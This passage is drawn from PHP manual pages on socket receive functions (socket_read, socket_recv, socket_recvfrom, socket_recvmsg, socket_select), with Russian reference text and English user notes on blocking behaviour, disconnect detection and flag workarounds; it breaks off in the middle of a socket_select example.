I hope this will help you. I wasted one hour of my time to solve this problem.
berniev 11-Jan-2017 03:54
It is not obvious from the docs or notes...
PHP_NORMAL_MODE is different to PHP_BINARY in that the former blocks regardless of socket_set_nonblock, the latter respects block and nonblock.
dhaubert dot ti at gmail dot com 28-Aug-2015 03:16
A way to wait for a message response by the socket or take the first message incoming.

Note that if the server turn offline, you have a socket resource, but while trying socket_read(), it gives you a warning message that will fill your hard drive kickly due to logging.

The example above try read the message at best 3 times, 3 seconds sleeping for another reading.
<?php
function waitResponse($response = "") {
   $status = "";
   $tries = 3;
   $counter = 0;
   while ($status == $response) {
            $status = socket_read($socket, 1024);
            if(!$status){
               if($counter >= $tries){
                  break;
               }else{
                  $counter++;
                  sleep(3);
               }
            }
   }
return $response;
}
cottton at i-stats dot net 12-Oct-2014 09:39
quote:
"Note:
socket_read() returns a zero length string ("") when there is no more data to read."

This is not true!

In a while loop
(example case few bytes to receive - just enough for 1 call, but you use a loop to be sure you received all data)
if you use
<? socket_set_block($socket); ?>
you will get:
1st call in loop: data
2nd call in loop: a block forever, if there isnt data anymore or w/e happen to the "other side"

So ofc you want to use
<? socket_set_nonblock($socket); ?>
and you will get:
1st call in loop: data
2nd call in loop: socket_read() returns FALSE (bool) and socket_last_error() gives you a SOCKET_EWOULDBLOCK (http://de1.php.net/manual/de/sockets.constants.php)

There is not a single time i got a empty string back from socket_read.
And im "working" on this problem(bug?) since a week or so.

You better use socket_recv() instead.
(good luck)
eng.mrkto.com 29-Mar-2011 04:42
It seems like in socket_* functions in BLOCKING mode where is no way to check if more than $length bytes are still available in socket (like stream_get_meta_data()['unread_bytes']).
So you need to choose your prefered maximum $length (like 133693415:) or use non-blocking mode (for realy big data reciving).
t33th4n at gmail dot com 23-Feb-2009 12:53
I don't know if is it stated anywhere with this clearance, but here is the source code for detecting the connection abort/closure for sockets testing with socket_read function:

<?php
$buf = @socket_read($routes[$i][$connectionid]['tunnelsrc'], $buffer_size);
if ($buf === '')
{
    $routes[$i][$connectionid]['disconnected']='Conenction abort at source side';
}
?>

($buf === '') is the key :)

I was making an ecrypted tunnel script with mcrypt and was annoying that i could not detect the connection abort from any side.
tech [{at}] swatcash [{dot}] com 01-Jul-2008 04:23
Messed up the end of my previous one. Corrected version here:

a simple work around to non-blocking working with normal read is like so:

$read = array($socket);
$write  = NULL;
$except = NULL;
while(1) {
    $num_changed_sockets = socket_select($read, $write, $except, 0, 1);
    if ( $num_changed_sockets > '0' ) {
        socket_read($socket,10000,PHP_NORMAL_READ);
    }
}
Anonymous 15-Dec-2007 11:11
On non-blocking connections it may not return full length requested.
nad0r1 at hush dot ai 20-Nov-2007 07:59
Another way to bypass the annoying thing with telnet, that send each character as a string ,is to check if the response is "\r\n", that is the string that telnet sends when the user presses enter.

Here is an example:
<?php
error_reporting(E_ALL);

/* Allow the script to hang around waiting for connections. */
set_time_limit(0);

/* Turn on implicit output flushing so we see what we're getting
 * as it comes in. */
ob_implicit_flush();

$address = '127.0.0.1';
$port = 100;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if (socket_bind($sock, $address, $port) === false) {
    echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}
else
  echo 'Socket ' . $address . ':' . $port . " has been opened\n";

if (socket_listen($sock, 5) === false) {
    echo "socket_listen() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}
else
   echo "Listening for new clients..\n";

   $client_id = 0;
do {
    if (($msgsock = socket_accept($sock)) === false) {
        echo "socket_accept() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
        break;
    }
    else {
        $client_id += 1;
      echo "Client #" .$client_id .": Connect\n";
    }

    /* Send instructions. */
    $msg = "\nWelcome to the PHP Test Server. \n" .
        "To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
    socket_write($msgsock, $msg, strlen($msg));
$cur_buf = '';
    do {
        if (false === ($buf = socket_read($msgsock, 2048))) {
            echo "socket_read() failed: reason: " . socket_strerror(socket_last_error($msgsock)) . "\n";
            break 2;
        }
        if ($buf == "\r\n") {
        if ($cur_buf == 'quit') {
            echo 'Client #' .$client_id .': Disconnect' . "\n";
            break;
        }
        if ($cur_buf == 'shutdown') {
            socket_close($msgsock);
            break 2;
        }
        //else {
       $talkback = "Unknown command: " . str_replace("\r\n", '\r\n', $cur_buf) ."\n";
       socket_write($msgsock, $talkback, strlen($talkback));
       // }
        echo 'Client #' .$client_id .': ' . $cur_buf . "\n";
        $cur_buf = '';
        }
        else $cur_buf .= $buf;
    } while (true);
    socket_close($msgsock);
} while (true);

socket_close($sock);
?>
jgbustos at gmail dot com 17-Jul-2007 05:47
PHP on win32 developers, please look at this bug report before using the PHP_NORMAL_READ option:

http://bugs.php.net/bug.php?id=21197

In a nutshell, using PHP_NORMAL_READ will make your calls to socket_read() return an empty buffer every time.
ein at anti-logic dot com 28-Jun-2007 11:32
the proper way to detect a closed connection is to check socket_last_error.

Connection reset by peer is 104 (either use socket_strerror or don't suppress errors for the time being to find these out), sooo.

while($buffer=@socket_read($sock,512,PHP_NORMAL_READ)){
    echo $buffer;
}
if(socket_last_error($sock) == 104) {
    echo "Connection closed";
}
nuitari-php at nuitari dot net 13-Jun-2007 11:08
PHP_NORMAL_READ - reading stops at \n or \r.

This seems to be meant literally.
If there is a \r, then it will stop reading, even if there is a \n right after it. You have to call the read again just to get rid of the \n.
dotpointer 04-Feb-2007 03:27
PHP 5.2.0 / Win32 / Apache 1.3 - It seems like...

PHP_BINARY_READ - works, but returns '', not FALSE...
- is blocking, until data received or connection closed
- does pass-through \r\n etc.
- returns data on data, '' on connection closed
- you can detect closed connection by checking for '' (not FALSE as stated i manual)

PHP_NORMAL_READ - not working so good...
- is non-blocking
- does not pass-through \r\n etc.
- returns false on no-data, false on connection closed :(
- (no way here to detect a closed connection...?)
- (is this a bug? http://bugs.php.net/bug.php?id=21880 )
- (is this a bug? http://bugs.php.net/bug.php?id=21197 )
- (could not get data from this option at all in fact...)

PHP_BINARY_READ seems to be the "right way to go"
for now. Both checking for '' and false to detect closed
connection is probably smart, as this "bug"(?) may
be fixed...
Niels laukens 21-Aug-2006 12:34
This paragraph is confusing:

socket_read() returns the data as a string on success, or FALSE on error (including if the remote host has closed the connection). The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual representation of the error.
Note: socket_read() returns a zero length string ("") when there is no more data to read.

My tests (on PHP 5.1.4) show that when you socket_read() on a shutdown-socket, it returns FALSE when using PHP_NORMAL_READ, but returns "" when reading in PHP_BINARY_READ.
Bill Kuker 18-Mar-2005 07:31
Just a note that on my system the length seems to have an undocumented upper bound of 65536. I was being lazy and not read()ing in a while loop until I pointed it at real data ;)
michi at tr51 dot org 26-May-2004 12:48
if you'd like to make a "socket_read" on a linux-system connected with a flash-client (v. 6.0 r81) you have to send a string to the connected port:

<?php

   ...  //initialising communication

    $string = "ready to get/send data\0";
    socket_write($socket, $string);

    //now you can read from...
    $line = trim(socket_read($socket, MAXLINE));

    ...  // do some stuff, finaly close connection
?>
magicking89 at hotmail dot com 30-Aug-2003 04:01
if you want to use a non block socket you must to use socket_last_error

if(!socket_last_error($sc)){
   if($buffer=socket_read($sc,512,PHP_NORMAL_READ)){
      echo $buffer;
   }
}

if you use it your script wont take all your memory
schst at php-tools dot de 04-Jul-2003 06:19
You may download a generic server class at http://www.php-tools.de
This class will accept the sockets read data from it and hands it to a callback function. Furthermore there are methods for connection handling included.
24-Sep-2002 11:48
Windows telnet sends/recieves one character at a time. Try adding PHP_NORMAL_READ to the end of socket_read, that might help.


Получает данные из подсоединённого сокета

  • « socket_read
  • socket_recvfrom »
  • PHP Manual
  • Функции сокета
  • Получает данные из подсоединённого сокета

socket_recv

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_recv — Получает данные из подсоединённого сокета

Описание

socket_recv(
Socket $socket,
?string &$data,
int $length,
int $flags
): int|false

Функция socket_recv() получает length байт данных в буфер data из сокета socket. функция socket_recv() может быть использована для получения данных из подсоединённых сокетов. Дополнительно к этому, один или более флагов могут быть указаны для изменения поведения функции.

Параметр data передаётся по ссылке, так что он должен быть указан в виде переменной в списке аргументов. Данные, прочитанные из сокета socket функцией socket_recv(), будут возвращены в параметре data.

Список параметров

socket

Параметр socket должен быть экземпляром Socket, предварительно созданным при помощи функции socket_create().

data

Полученные данные будут переданы в переменную, указанную в параметре data. Если происходит ошибка, если соединение сброшено, или если данные недоступны, параметр data будет установлен в null.

length

До length байт будет получено с удалённого хоста.

flags

Значение параметра flags может быть любой комбинацией следующих флагов, соединённых при помощи двоичного оператора OR (|).

Possible values for flags
Флаг | Описание
MSG_OOB | Обрабатывать внеполосные (out-of-band) данные.
MSG_PEEK | Получать данные с начала очереди получения без удаления их из очереди.
MSG_WAITALL | Функция будет блокировать выполнение скрипта до тех пор, пока как минимум length байт не будет получено. Однако, в том случае, если получен сигнал или удалённый хост отсоединился, функция может вернуть меньше данных.
MSG_DONTWAIT | Если этот флаг установлен, то функция вернётся даже в том случае, если бы она обычно блокировала выполнение скрипта.

Возвращаемые значения

socket_recv() возвращает количество полученных байтов или false в случае возникновения ошибки. Фактический код ошибки может быть получен при помощи функции socket_last_error(). Этот код ошибки может быть передан функции socket_strerror() для получения текстового описания ошибки.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Примеры

Пример #1 Пример использования socket_recv()

Этот пример - просто вариант первого примера из статьи Примеры с использованием socket_recv().

<?php
error_reporting(E_ALL);

echo "<h2>Соединение TCP/IP</h2>\n";

/* Получить порт сервиса WWW. */
$service_port = getservbyname('www', 'tcp');

/* Получить IP-адрес целевого хоста. */
$address = gethostbyname('www.example.com');

/* Создать сокет TCP/IP. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
echo "Не удалось выполнить функцию socket_create(): причина: " . socket_strerror(socket_last_error()) . "\n";
} else {
echo "OK.\n";
}

echo "Попытка соединиться с хостом '$address' по порту '$service_port'...";
$result = socket_connect($socket, $address, $service_port);
if ($result === false) {
echo "Не получилось выполнить функцию socket_connect().\nПричина: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
echo "OK.\n";
}

$in = "HEAD / HTTP/1.1\r\n";
$in .= "Host: www.example.com\r\n";
$in .= "Connection: Close\r\n\r\n";
$out = '';

echo "Отправка запроса HTTP HEAD...";
socket_write($socket, $in, strlen($in));
echo "OK.\n";

echo "Получение ответа:\n\n";
$buf = 'Это мой буфер.';
if (false !== ($bytes = socket_recv($socket, $buf, 2048, MSG_WAITALL))) {
echo "Прочитано $bytes байта из функции socket_recv(). Закрываем сокет...";
} else {
echo "Не получилось выполнить socket_recv(); причина: " . socket_strerror(socket_last_error($socket)) . "\n";
}
socket_close($socket);

echo $buf . "\n";
echo "OK.\n\n";
?>

Пример выше выведет что-то вроде следующего:

<h2>Соединение TCP/IP</h2>
OK.
Попытка соединиться с хостом '208.77.188.166' on port '80'...OK.
Отправка запроса HTTP HEAD...OK.
Получение ответа:

Прочитано 123 байта из функции socket_recv(). Закрываем сокет...HTTP/1.1 200 OK
Date: Mon, 14 Sep 2009 08:56:36 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT
ETag: "b80f4-1b6-80bfd280"
Accept-Ranges: bytes
Content-Length: 438
Connection: close
Content-Type: text/html; CHARSET=Windows-1251

OK.

User Contributed Notes

Anonymous 10-Mar-2021 09:49
<?php

namespace Safe;

use Safe\Exceptions\SocketsException;

/**
 * After the socket socket has been created
 * using socket_create, bound to a name with
 * socket_bind, and told to listen for connections
 * with socket_listen, this function will accept
 * incoming connections on that socket. Once a successful connection
 * is made, a new socket resource is returned, which may be used
 * for communication. If there are multiple connections queued on
 * the socket, the first will be used. If there are no pending
 * connections, socket_accept will block until
 * a connection becomes present. If socket
 * has been made non-blocking using
 * socket_set_blocking or
 * socket_set_nonblock, FALSE will be returned.
 *
 * The socket resource returned by
 * socket_accept may not be used to accept new
 * connections. The original listening socket
 * socket, however, remains open and may be
 * reused.
 *
 * @param resource $socket A valid socket resource created with socket_create.
 * @return resource Returns a new socket resource on success. The actual
 * error code can be retrieved by calling
 * socket_last_error. This error code may be passed to
 * socket_strerror to get a textual explanation of the
 * error.
 * @throws SocketsException
 *
 */
function socket_accept($socket)
{
    error_clear_last();
    $result = \socket_accept($socket);
    if ($result === false) {
        throw SocketsException::createFromPhpError();
    }
    return $result;
}

/**
 * Create a Socket resource, and bind it to the provided AddrInfo resource.  The return
 * value of this function may be used with socket_listen.
 *
 * @param resource $addr Resource created from socket_addrinfo_lookup.
 * @return resource Returns a Socket resource on success.
 * @throws SocketsException
 *
 */
function socket_addrinfo_bind($addr)
{
    error_clear_last();
    $result = \socket_addrinfo_bind($addr);
    if ($result === null) {
        throw SocketsException::createFromPhpError();
    }
    return $result;
}
lexkrstn at gmail dot com 05-Nov-2018 06:21
It seems like the flags are just passed to the underlying recv() function of your OS, hence there no MSG_DONTWAIT flag on Windows and you should not define it yourself in that case, it just won't work.
e-vela at bol dot com dot br 23-Jul-2017 07:39
Usage example for MSG_PEEK: this function tells if the socket has data available to be read, but preserving it to be read at a future moment.

<?php
// Workaround for the missing define
if(!defined('MSG_DONTWAIT')) define('MSG_DONTWAIT', 0x40);

// Function to check if there is data available in the socket
function SocketHasData($socket) {
    // Based on the following fact:
    // $result=0 -> disconnected, $result=false -> no data

    $data = ''; // We need a buffer, but we won't use it

    // MSG_PEEK means to preserve data in the queue, so it can
    // actually be read afterwards
    $result = socket_recv($socket, $data, 1, MSG_PEEK | MSG_DONTWAIT );

    if ($result === false) return false; // If no data, returns false
    return true; // Otherwise returns true
}
?>
cottton at i-stats dot net 13-Oct-2014 02:17
socket_recv()
returns FALSE if client returned no data
returns 0 (zero) if client disconnected

also (asuming case socket_select() "gave" us a "changed" socket):
if
socket_recv() returned FALSE
and no bytes were received
then
client "crashed" (call it disconnected).

else if
socket_recv() returned 0 (zero)
and no bytes were received
then
client "normaly" disconnected.

Im pretty sure -- 99.99%.
Example:
<?php
function receive($socket)
{
    // !
    // on all following cases we assume that
    // socket_select() returned the current socket as "changed"
    // !

    $timeout = 3; // set your timeout

    /* important */
    $socket_recv_return_values['no_data_received'] = false;
    $socket_recv_return_values['client_disconnected'] = 0;

    $start = time();
    $received_data = null;
    $received_bytes = null;
    socket_set_nonblock($socket);
    socket_clear_error();
    while(
        ($t_out=((time()-$start) >= $timeout)) === false
        and ($read=@socket_recv($socket, $buf, 4096, 0)) >= 1
    ){
        $received_data  = (isset($received_data)) ? $received_data . $buf : $buf;
        $received_bytes = (isset($received_bytes)) ? $received_bytes + $read : $read;
    }
    $last_error = socket_last_error($socket);
    socket_set_block($socket);

    if($t_out === true){
        throw new Exception(
            'timeout after ' . ((!$received_bytes) ? 0 : $received_bytes) . ' bytes',
            0 // your eCode here
        );
    }
    elseif($last_error !== false and $last_error !== 0){
        throw new Exception(
            socket_strerror($last_error),
            $last_error
        );
    }
    else{
        if($read === $socket_recv_return_values['no_data_received']){
            // client returned NO DATA
            // but we were in a loop and could have got some data before:
            if($received_bytes < 1){
                // client is connected but sent NO DATA ?
                // no:
                // in this case the client must be "crashed" because -
                // it is not possible to "send no data" (zero bytes)
                // socket_select() now returns this socket as "changed" "forever"
                throw new Exception(
                    'client crashed',
                    0 // your eCode here
                );
            }else{
                // client returned DATA
                return $received_data;
            }
        }
        elseif($read === $socket_recv_return_values['client_disconnected']){
            // client disconnected
            if($received_bytes < 1){
                // client disconnected before/without sending any bytes
                throw new Exception(
                    'client disconnected',
                    0 // your eCode here
                );
            }
            else{
                // *this value* ^= $socket_recv_return_values['client_disconnected']
                //
                // client disconnected AFTER sending data (we were in a loop!)
                // socket_select() will return this socket "forever" as "changed" and -
                // socket_recv() will return *this value* "forever".
                // we will be "back" again "very soon" to see:
                //  socket_recv() returns *this value* AND no bytes received
                //  which results in disconnect-exception above
                return $received_data;
            }
        }
    }
}
?>
m_lajos at hotmail dot com 14-Jul-2014 03:45
Workaround for the missing MSG_DONTWAIT flag according to the bug report page:

<?php if(!defined('MSG_DONTWAIT')) define('MSG_DONTWAIT', 0x40); ?>
ss-130 at yandex dot ru 17-Jul-2013 11:09
<?php
$er = error_reporting(0);
$bytes    = socket_recv($socket,$buffer,1,MSG_WAITALL);
error_reporting($er);

// MEGA BUG HERE
// this statuses are wrong and swapped, closed socket must be with "FALSE"
// but in fact he swap the values:
// http://php.net/manual/en/function.socket-recv.php
//
if($bytes===false){ // no data available, socket not closed
    echo 'WS_READ_ERR1: '.socket_strerror(socket_last_error($socket)).PHP_EOL;
    // print when no data available:
    // WS_READ_ERR1: Resource temporarily unavailable
    continue;
}else if($bytes===0){ // socket closed
    echo 'WS_READ_ERR2: '.socket_strerror(socket_last_error($socket)).PHP_EOL;
    // print when socket closed:
    // WS_READ_ERR2: Success
    $process->close();
}

?>
davide dot renzi at gmail dot com 01-Mar-2012 08:50
In PHP version 5.* there is a bug: MSG_DONTWAIT flag is not defined (see https://bugs.php.net/bug.php?id=48326)
rathamahata at rathamahata dot net 25-Aug-2005 04:44
It looks like that mysterious flags are just the recv(2) flags passed to your OS syscall and nothing more...

ext/sockets/sockets.c:PHP_FUNCTION(socket_recv)
...
        if ((retval = recv(php_sock->bsd_socket, recv_buf, len, flags)) < 1) {
                efree(recv_buf);
...

for linux you can type `man 2 recv' and you will see complete description of thouse flags.

Sergey S. Kosrtyliov <rathamahata@rathamahata.net>
http://www.rathamahata.net/
06-May-2005 04:59
My last post was incorrect. The int flag set to 2 apparently reset the file position pointer so what I was reading was the first record repeatedly.

My workaroud ended up being the following:

for($ct=1; $ct<=$numrecs; $ct++) {
    $rec = "";
    $nr=socket_recv($fp,$rec,76,0);

    //grab the extra bytes.
    $terminator = "";
    while ($terminator != ".") {
        $nr=socket_recv($fp,$terminator,1,0);
    }

     $custarray[]=substr($rec,0,76);
}

Martin K.
05-May-2005 07:42
I'm glad that Bastion left the above post about the mysterious int flag. He just helped to fix a problem that I've spent six hours on. Here's my code:

for($ct=1; $ct<=$numrecs; $ct++) {
     $rec = "";
     $nr=socket_recv($fp,$rec,77,0);
     print "Rec # $ct -->";
         print "$rec";
         print "<br>";
      }

The code is pretty simple, it just loops through all my records and prints them out. All records are 77 bytes and all end with a period. The first 36 records print perfectly then at 37 things go bad. The records start to get offset. The last few characters of the 37th record end up printing on the 38th record. The data on the sending side was perfect, so I knew that the problem was with socked_recv.

After reading the above post I tried changing the int flag. Changing the flag to 2 worked:
$nr=socket_recv($fp,$rec,77,2);

Now everything lines up perfectly. I had always left int flag as 0 since it's undocumented.

Martin K.
engine at [NO SPAM] illusiononly dot com 30-Nov-2004 04:58
To read from socket both on linux and windows OS having  flash as a client I use function bellow. $length is the size of  a chunk, not the max length to read. It will continue reading until EOL char  occures or client disconnects (or in case of error), so it works for bigger packets as well.

     function read($descriptor, $length = 1024) {
            $this->method = "read";
            if(!$client){
                echo("No valid socket descriptor !\n");
                return false;
            }
            $read ='';
        while(($flag=socket_recv($descriptor, $buf, $length,0))>0){
              $asc=ord(substr($buf, -1));
            if ($asc==0) {
                $read.=substr($buf,0,-1);
                break;
            }else{
                $read.=$buf;
            }
        }
           if ($flag<0){
            //error
            return false;
        }elseif ($flag==0){
            //Client disconnected
            return  false;
        }else{
              return $read;
        }

     }
dgk at tcde dot ru 05-Nov-2004 03:57
I've used socket_select and socket_recv with a while loop and found myself in trouble when remote side closed connection. The code below produced infinite loop and socket_select returned immediately (which lead to high cpu time consumption).

<?

socket_set_nonblock($my_socket);
$streams = array($my_socket/*, ... */);

$lastAccess = time();
while (socket_select($streams, $write = NULL, $except = NULL, SLEEP_TIME_SECONDS, SLEEP_TIME_MILLISECONDS) !== FALSE) {
    if (in_array($my_socket, $streams)) {
        while (@socket_recv($my_socket, $data, 8192, 0)) {
            echo $data;
        }
        $lastAccess = time();
    } else {
        if (time()-$lastAccess > LAST_ACCESS_TIMEOUT) {
            break;
        }
    }
    // ...
    $streams = array($my_socket/*, ... */);
}

?>

The solution was simple, but quite hard to find because socket_recv is not documented. socket_recv returns FALSE if there is no data and 0 if the socket is widowed (disconnected by remote side). So I had just to check return value of socket_recv. The problem now sounds stupid, but I've spend some time to find it out.
I hope this will save some of somebody's hair ;)
bastiaan at [no-spam] megabass dot nl 05-Apr-2004 09:35
in case you want to empty/unset $buffer, but failing to do so, try using 0 as flag.
PHP_NORMAL_READ and PHP_BINARY_READ respectively hold 1 and 2 as value.


Получает данные из сокета, независимо от того, подсоединён он или нет

  • « socket_recv
  • socket_recvmsg »
  • PHP Manual
  • Функции сокета
  • Получает данные из сокета, независимо от того, подсоединён он или нет

socket_recvfrom

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_recvfrom — Получает данные из сокета, независимо от того, подсоединён он или нет

Описание

socket_recvfrom(
Socket $socket,
string &$data,
int $length,
int $flags,
string &$address,
int &$port = null
): int|false

Функция socket_recvfrom() получает length байт данных в data из адреса address на порту port (если сокет не типа AF_UNIX) используя сокет socket. Функция socket_recvfrom() может быть использована для извлечения данных как из подключённых, так и из не подключённых сокетов. Дополнительно, один или более флагов могут быть указаны для того, чтобы изменить поведение функции.

Параметры address и port должны быть переданы по ссылке. Если сокет не ориентирован на соединение, address должен быть установлен как адрес интернет-протокола удалённого хоста, либо как путь к сокету UNIX. Если сокет не ориентирован на соединение, address должен быть null. Дополнительно, port должен содержать порт удалённого хоста для не подключённых сокетов типа AF_INET и AF_INET6.

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Список параметров

socket

Параметр socket должен быть экземпляром Socket, предварительно созданным при помощи функции socket_create().

data

Полученные данные будут переданы в переменную, указанную при помощи параметра data.

length

С удалённого хоста будет получено до length байт.

flags

Значение параметра flags может быть любой комбинацией следующих флагов, объединённых при помощи двоичного оператора OR (|) operator.

Возможные значения для параметра flags
Флаг | Описание
MSG_OOB | Обрабатывать внеполосные (out-of-band) данные.
MSG_PEEK | Получать данные из начала очереди, не удаляя их.
MSG_WAITALL | Блокировать выполнение скрипта до тех пор, пока как минимум length не будет получено. Однако, если будет получен сигнал или удалённый хост отсоединится, функция может возвратить меньше данных.
MSG_DONTWAIT | Если этот флаг установлен, функция возвратится даже если обычно она будет блокировать выполнение скрипта.
address

Если сокет типа AF_UNIX, address - это путь к файлу. В ином случае, для неподсоединённых сокетов, параметр address - это IP-адрес, удалённого хоста, или null, если сокет ориентирован по соединение.

port

Этот аргумент применим только к сокетам AF_INET и AF_INET6, и указывает удалённый порт, из которого будут получены данные. Если сокет ориентирован по соединение, port будет null.

Возвращаемые значения

socket_recvfrom() возвращает количество полученных байт или false, если произошла ошибка. Фактический код ошибки может быть получен при помощи вызова функции socket_last_error(). Этот код ошибки может быть передан функции socket_strerror() для получения текстового описания ошибки.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Примеры

Пример #1 Пример использования socket_recvfrom()

<?php

$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_bind($socket, '127.0.0.1', 1223);

$from = '';
$port = 0;
socket_recvfrom($socket, $buf, 12, 0, $from, $port);

echo "Получено $buf с удалённого адреса $from и удалённого порта $port" . PHP_EOL;
?>

Этот пример откроет UDP-сокет на порту 1223 по адресу 127.0.0.1 и выведет максимум 12 символов, полученных с удалённого хоста.

Смотрите также

  • socket_recv() - Получает данные из подсоединённого сокета
  • socket_send() - Отправляет данные в подсоединённый сокет
  • socket_sendto() - Отправляет сообщение в сокет, независимо от того, подсоединён он или нет
  • socket_create() - Создаёт сокет (конечную точку для обмена информацией)

User Contributed Notes

ply2attoetensen-project.com 17-Dec-2016 10:07
MSG_DONTWAIT doesn't seem to exist in windows sockets. However socket_set_nonblock() seems to do the trick.
lorin dot weilenmann at gmail dot com 21-Aug-2015 10:24
If you use socket_recvfrom on a UDP socket and combine it with the MSG_DONTWAIT flag, it will raise a PHP Warning if there is nothing to read. AFAIK, there is no way around that warning except suppressing it with @ (i.e. you cannot check if there is data before calling socket_recvfrom).
davide dot renzi at gmail dot com 01-Mar-2012 08:52
Pay attention! On some PHP version the MSG_DONTWAIT flag is not defined (see https://bugs.php.net/bug.php?id=48326)
jaggerwang at gmail dot com 07-Nov-2007 09:56
I'm confused about the rerturn value of socket_recvfrom(), it said -1 when failed, but when I call like this:

if (($len = @socket_recvfrom($sock, $result, 32, 0, $ip, $port)) == -1) {
    if ($this->_debug) {
        echo "socket_read() failed: " . socket_strerror(socket_last_error()) . "\n";
    }
    return false;
}

variable $len = false, when I change the buffer length from 32 to 4096, it becomes right.
ryan_at_ryanfisher_dot_com 01-Oct-2006 10:27
DNS RELAY USING UDP SOCKETS

<?php

while(TRUE) {
   $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
   if($socket === FALSE)
   {
       echo 'Socket_create failed: '.socket_strerror(socket_last_error())."\n";
   }
   if(!socket_bind($socketD, "0.0.0.0", 53)) {
       socket_close($socketD);
       echo 'socket_bind failed: '.socket_strerror(socket_last_error())."\n";
   }
   socket_recvfrom($socket,$buf,65535,0,$clientIP,$clientPort);
   $stz = bin2hex($buf);
   $tx = "";
   for($i=0;$i<(strlen($stz)-26-10)/2;$i++)
   {
     $e = "00";
     $e[0] = $stz[$i*2+26];
     $e[1] = $stz[$i*2+27];
     $f = hexdec($e);
     if($f > 0 && $f < 32) $tx .= "."; else
     $tx .= sprintf("%c",$f);
   }
   echo "$clientIP <".$tx.">\n";
   $fp = fsockopen("udp://72.174.110.4",53,$errno,$errstr);
   if (!$fp)
   {
       echo "ERROR: $errno - $errstr<br />\n";
   }
   else
   {
      fwrite($fp,$buf);
      $ret = $buf;
      $ret = fread($fp,667);
      fclose($fp);
   }
  }
socket_send($socket,$ret,667,0);
}
?>


Прочитать сообщение

  • « socket_recvfrom
  • socket_select »
  • PHP Manual
  • Функции сокета
  • Прочитать сообщение

socket_recvmsg

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

socket_recvmsg — Прочитать сообщение

Описание

socket_recvmsg(Socket $socket, array &$message, int $flags = 0): int|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

socket

message

flags

Возвращаемые значения

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Смотрите также

  • socket_sendmsg() - Отправить сообщение
  • socket_cmsg_space() - Вычислить размер буфера сообщения

User Contributed Notes

251701981 at qq dot com 18-Apr-2023 07:58
$sockets = [];
        \socket_create_pair(AF_UNIX,SOCK_DGRAM,0,$sockets);

        $proc = new \Swoole\Process(function()use($sockets){

            socket_close($sockets[0]);

            $f = fopen(__FILE__,'r');
            var_dump($f);
            socket_sendmsg($sockets[1],[ 'control'=>[['level'=>SOL_SOCKET,'type'=>SCM_RIGHTS,'data'=>[$f]] ] ],0);
            sleep(10);

        },false,2,1);

        $proc->start();

        socket_close($sockets[1]);

        $data = [
            'controllen'=>socket_cmsg_space(SOL_SOCKET,SCM_RIGHTS,1)
        ];

        socket_recvmsg($sockets[0],$data,0);

        var_dump($data);

        sleep(10);


Запускает системный вызов select() для заданных массивов сокетов с указанным временем ожидания

  • « socket_recvmsg
  • socket_send »
  • PHP Manual
  • Функции сокета
  • Запускает системный вызов select() для заданных массивов сокетов с указанным временем ожидания

socket_select

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_select — Запускает системный вызов select() для заданных массивов сокетов с указанным временем ожидания

Описание

socket_select(
?array &$read,
?array &$write,
?array &$except,
?int $seconds,
int $microseconds = 0
): int|false

socket_select() принимает массивы сокетов и ждёт их изменения статуса. Те, кто знаком с сокетами BSD, обнаружат, что массивы сокетов на самом деле являются так называемыми наборами дескрипторов файлов. Наблюдаются три независимых массива ресурсов сокетов.

Список параметров

read

Сокеты, перечисленные в массиве read будут наблюдаться для просмотра, есть ли доступные символы для чтения ( точнее, чтобы видеть, не будет ли чтение блокироваться, в частности, сокет уже достиг конца файла, и в этом случае socket_read() вернёт строку с нулевой длиной).

write

Сокеты, перечисленные в массиве write будут наблюдаться для просмотра, не будет ли запись блокироваться.

except

Сокеты, перечисленные в массиве except будут наблюдаться для исключений.

seconds

seconds и microseconds вместе образуют параметр timeout. Параметр timeout - максимальный промежуток времени до возврата socket_select(). seconds может быть нулём, заставляя socket_select() к немедленному возврату. Это полезно для опроса. Если seconds равен null (нет времени ожидания), socket_select() может блокироваться бесконечно.

microseconds

Внимание

При завершении массивы изменяются для обозначения, какой сокет на самом деле изменил статус.

Не требуется передавать каждый массив в socket_select(). Вы можете пропустить его и использовать пустой массив или null вместо этого. Также не забывайте, что эти массивы передаются по ссылке и будут изменены после завершения socket_select().

Замечание:

Из-за ограничения текущего движка Zend невозможно передать модификатор константы, такой как null, непосредственно в качестве параметра в функцию, которая ожидает, что этот параметр будет передан по ссылке. Вместо этого используйте временную переменную или выражение, где левая сторона является временной переменной:

Пример #1 Использование null в socket_select()

<?php
$e = NULL;
socket_select($r, $w, $e, 0);
?>

Возвращаемые значения

В случае успешного выполнения socket_select() возвращает количество сокетов, содержащихся в изменённых массивах, которое может быть равно нулю, если время ожидания истечёт до того, как произойдёт что-то интересное. В случае возникновения ошибки возвращается false. Код ошибки может быть получен с помощью socket_last_error().

Замечание:

Обязательно используйте оператор === при проверке на ошибку. Поскольку socket_select() может возвращать 0, сравнение с == будет оцениваться как true:

Пример #2 Анализ результата socket_select()

<?php
$e = NULL;
if (false === socket_select($r, $w, $e, 0)) {
